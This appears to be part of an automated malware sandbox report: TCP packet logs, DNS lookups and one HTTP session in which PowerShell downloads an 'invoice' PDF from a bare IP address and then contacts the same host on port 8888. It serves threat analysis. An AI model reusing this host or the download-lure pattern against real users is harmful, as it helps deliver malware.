Jan 11, 2025 01:47:42.587127924 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.590414047 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.590436935 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.590445995 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.590471983 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.590493917 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.590513945 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.590526104 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.590537071 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.590564966 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.590591908 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.590601921 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.590614080 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.590625048 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.590635061 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.590641022 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.590652943 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.590693951 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.596791983 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.601547003 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.601593971 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.601603985 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.601622105 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.601636887 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.601640940 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.601648092 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.601659060 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.601670027 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.601717949 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.637527943 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.637540102 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.637562037 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.637572050 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.637592077 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.637603045 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.637608051 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.637614012 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.637674093 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.640721083 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.640732050 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.640743971 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.640750885 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.640760899 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.640774012 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.640809059 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.640866995 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.640887022 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.640897989 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.640943050 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.641015053 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641036034 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641058922 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641068935 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641078949 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641083002 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.641088963 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641098976 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641110897 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641122103 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641123056 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.641170979 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.641246080 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641274929 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641282082 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.641287088 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641297102 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641309023 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641320944 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.641321898 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641357899 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.641531944 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641542912 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641551971 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641562939 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641581059 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641588926 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.641592979 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641604900 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641668081 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.641668081 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.641768932 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641779900 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641791105 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641830921 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641835928 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.641841888 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641851902 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641865015 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.641879082 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.641900063 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.677651882 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.677664042 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.677673101 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.677684069 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.677695036 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.677707911 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.677721024 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.677730083 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.677772045 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.677798986 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.678406954 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.678466082 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.678477049 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.678483009 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.678493023 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.678504944 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.678517103 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.678528070 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.678539991 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.678555965 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.678566933 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.678577900 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.678589106 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.678599119 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.678630114 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.678643942 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.678664923 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.678751945 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.678782940 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.678833961 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.678841114 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.678853989 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.678900957 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.678901911 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.678911924 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.678924084 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.678936958 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.678947926 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.678947926 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.678966045 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.678988934 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.679008961 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.679203033 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679213047 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679224014 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679234982 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679246902 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679258108 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679261923 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.679267883 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679280043 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679291010 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679291010 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.679301023 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679321051 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679331064 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679333925 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.679482937 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679493904 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679505110 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679512978 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.679516077 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679536104 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.679570913 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.679666996 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679677010 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679702044 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679713011 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679723024 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679724932 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.679737091 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679747105 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679759026 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679769993 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679778099 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.679778099 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.679781914 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679801941 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679805040 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.679811954 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679825068 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679836035 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679842949 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.679847002 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679857969 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679867029 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679871082 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.679878950 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679893017 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.679907084 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.679929972 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.694190025 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.694201946 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.694214106 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.694231033 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.694247961 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.694259882 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.694271088 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.694317102 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.694350958 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.707351923 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.730004072 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.730019093 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.730041027 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.730060101 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.730077028 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.730088949 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.730091095 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.730101109 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.730113029 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.730144978 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.730170965 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.733227015 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733239889 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733258009 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733275890 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733306885 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733310938 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.733325958 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733341932 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733351946 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733365059 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733366966 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.733375072 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733397007 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733397961 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.733409882 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733426094 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.733448029 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.733448982 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733460903 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733474016 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733501911 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.733514071 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733550072 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733562946 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.733656883 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733668089 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733680010 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733691931 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733711004 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.733756065 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.733815908 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733840942 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733855963 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733865976 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733870983 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.733880043 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733891010 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733902931 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733906031 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.733915091 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.733962059 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.734074116 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.734116077 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.734133959 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.734146118 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.734157085 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.734170914 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.734183073 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.734231949 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.734261990 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.734273911 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.734283924 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.734299898 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.734316111 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.734322071 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.734345913 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.770143986 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.770164967 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.770175934 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.770186901 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.770199060 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.770210028 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.770220995 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.770221949 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.770262957 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.770317078 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.770924091 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.770935059 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.770946980 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.770982027 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.771002054 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.771018028 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.771028996 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.771039963 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.771044016 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.771049976 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.771061897 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.771073103 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.771073103 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.771115065 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.771188974 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.771199942 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.771210909 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.771222115 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.771251917 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.771274090 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.836008072 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.970585108 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:43.191848040 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:43.756697893 CET	49725	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:43.761588097 CET	8888	49725	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:43.761894941 CET	49725	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:43.761894941 CET	49725	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:43.766782999 CET	8888	49725	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:44.562642097 CET	8888	49725	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:44.624450922 CET	49725	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:46.089657068 CET	49725	8888	192.168.2.10	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:47:51.675635099 CET	51619	53	192.168.2.10	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 01:47:51.675635099 CET	192.168.2.10	1.1.1.1	0xfb78	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 01:47:51.713746071 CET	1.1.1.1	192.168.2.10	0xfb78	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:47:52.455732107 CET	1.1.1.1	192.168.2.10	0xd960	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:47:52.455732107 CET	1.1.1.1	192.168.2.10	0xd960	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49707	193.143.1.205	80	7572	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:47:41.143340111 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 01:47:41.975297928 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:47:41 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 